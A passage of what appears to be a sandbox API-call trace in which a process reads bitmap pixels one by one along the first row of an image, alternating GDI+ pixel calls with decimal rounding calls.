pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.071] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.071] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.071] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=71, y=0, color=0x1c6cc480) returned 0x0 [0124.071] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.071] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.071] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.071] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.071] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=72, y=0, color=0x1c6cc480) returned 0x0 [0124.071] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.071] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.071] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.072] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.072] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=73, y=0, color=0x1c6cc480) returned 0x0 [0124.072] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.072] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.072] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.072] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.072] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=74, y=0, color=0x1c6cc480) returned 0x0 [0124.072] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.072] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.072] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.072] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.072] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=75, y=0, color=0x1c6cc480) returned 0x0 [0124.072] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.073] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.073] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.073] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.073] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=76, y=0, color=0x1c6cc480) returned 0x0 [0124.073] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.073] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.073] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.073] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.073] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=77, y=0, color=0x1c6cc480) returned 0x0 [0124.073] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.073] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.073] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.073] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.073] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=78, y=0, color=0x1c6cc480) returned 0x0 [0124.074] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.074] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.074] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.074] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.074] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=79, y=0, color=0x1c6cc480) returned 0x0 [0124.074] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.074] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.074] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.074] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.074] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=80, y=0, color=0x1c6cc480) returned 0x0 [0124.074] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.074] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.074] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.075] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.075] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=81, y=0, color=0x1c6cc480) returned 0x0 [0124.075] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.075] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.075] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.075] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.075] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=82, y=0, color=0x1c6cc480) returned 0x0 [0124.075] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.075] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.075] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.075] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.075] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=83, y=0, color=0x1c6cc480) returned 0x0 [0124.075] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.076] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.076] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.076] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.076] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=84, y=0, color=0x1c6cc480) returned 0x0 [0124.076] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.076] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.076] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.076] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.076] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=85, y=0, color=0x1c6cc480) returned 0x0 [0124.076] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.076] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.076] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.076] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.077] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=86, y=0, color=0x1c6cc480) returned 0x0 [0124.077] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.077] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.077] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.077] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.077] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=87, y=0, color=0x1c6cc480) returned 0x0 [0124.077] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.077] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.077] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.077] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.077] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=88, y=0, color=0x1c6cc480) returned 0x0 [0124.077] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.078] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.078] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.078] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.078] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=89, y=0, color=0x1c6cc480) returned 0x0 [0124.078] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.078] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.078] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.078] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.078] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=90, y=0, color=0x1c6cc480) returned 0x0 [0124.078] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.078] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.078] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.078] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.079] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=91, y=0, color=0x1c6cc480) returned 0x0 [0124.079] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.079] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.079] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.079] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.079] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=92, y=0, color=0x1c6cc480) returned 0x0 [0124.079] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.079] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.079] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.079] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.079] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=93, y=0, color=0x1c6cc480) returned 0x0 [0124.080] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.080] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.080] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.080] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.080] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=94, y=0, color=0x1c6cc480) returned 0x0 [0124.080] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.080] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.080] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.080] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.080] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=95, y=0, color=0x1c6cc480) returned 0x0 [0124.080] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.080] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.081] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.081] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.081] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=96, y=0, color=0x1c6cc480) returned 0x0 [0124.081] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.081] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.081] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.081] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.081] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=97, y=0, color=0x1c6cc480) returned 0x0 [0124.081] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.081] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.081] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.082] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.082] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=98, y=0, color=0x1c6cc480) returned 0x0 [0124.082] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.082] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.082] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.082] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.082] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=99, y=0, color=0x1c6cc480) returned 0x0 [0124.082] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.082] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.082] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.082] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.082] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=100, y=0, color=0x1c6cc480) returned 0x0 [0124.083] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.083] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.083] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.083] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.083] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=101, y=0, color=0x1c6cc480) returned 0x0 [0124.083] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.083] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.083] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.083] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.083] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=102, y=0, color=0x1c6cc480) returned 0x0 [0124.084] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.084] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.084] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.084] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.084] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=103, y=0, color=0x1c6cc480) returned 0x0 [0124.084] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.084] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.084] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.084] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.084] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=104, y=0, color=0x1c6cc480) returned 0x0 [0124.085] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.085] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.085] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.085] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.085] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=105, y=0, color=0x1c6cc480) returned 0x0 [0124.085] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.085] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.085] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.085] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.085] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=106, y=0, color=0x1c6cc480) returned 0x0 [0124.085] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.086] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.086] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.086] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.086] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=107, y=0, color=0x1c6cc480) returned 0x0 [0124.086] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.086] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.086] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.086] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.086] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=108, y=0, color=0x1c6cc480) returned 0x0 [0124.086] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.086] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.086] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.086] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.087] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=109, y=0, color=0x1c6cc480) returned 0x0 [0124.087] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.087] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.087] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.087] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.087] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=110, y=0, color=0x1c6cc480) returned 0x0 [0124.087] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.087] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.087] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.087] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.087] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=111, y=0, color=0x1c6cc480) returned 0x0 [0124.087] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.087] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.087] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.087] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.088] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=112, y=0, color=0x1c6cc480) returned 0x0 [0124.088] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.088] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.088] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.088] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.088] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=113, y=0, color=0x1c6cc480) returned 0x0 [0124.088] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.088] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.088] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.088] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.088] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=114, y=0, color=0x1c6cc480) returned 0x0 [0124.089] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.089] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.089] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.089] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.089] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=115, y=0, color=0x1c6cc480) returned 0x0 [0124.089] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.089] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.089] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.089] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.089] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=116, y=0, color=0x1c6cc480) returned 0x0 [0124.089] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.089] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.089] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.090] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.090] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=117, y=0, color=0x1c6cc480) returned 0x0 [0124.090] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.090] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.090] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.090] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.090] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=118, y=0, color=0x1c6cc480) returned 0x0 [0124.090] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.090] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.090] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.090] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.091] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=119, y=0, color=0x1c6cc480) returned 0x0 [0124.091] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.091] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.091] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.091] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.091] 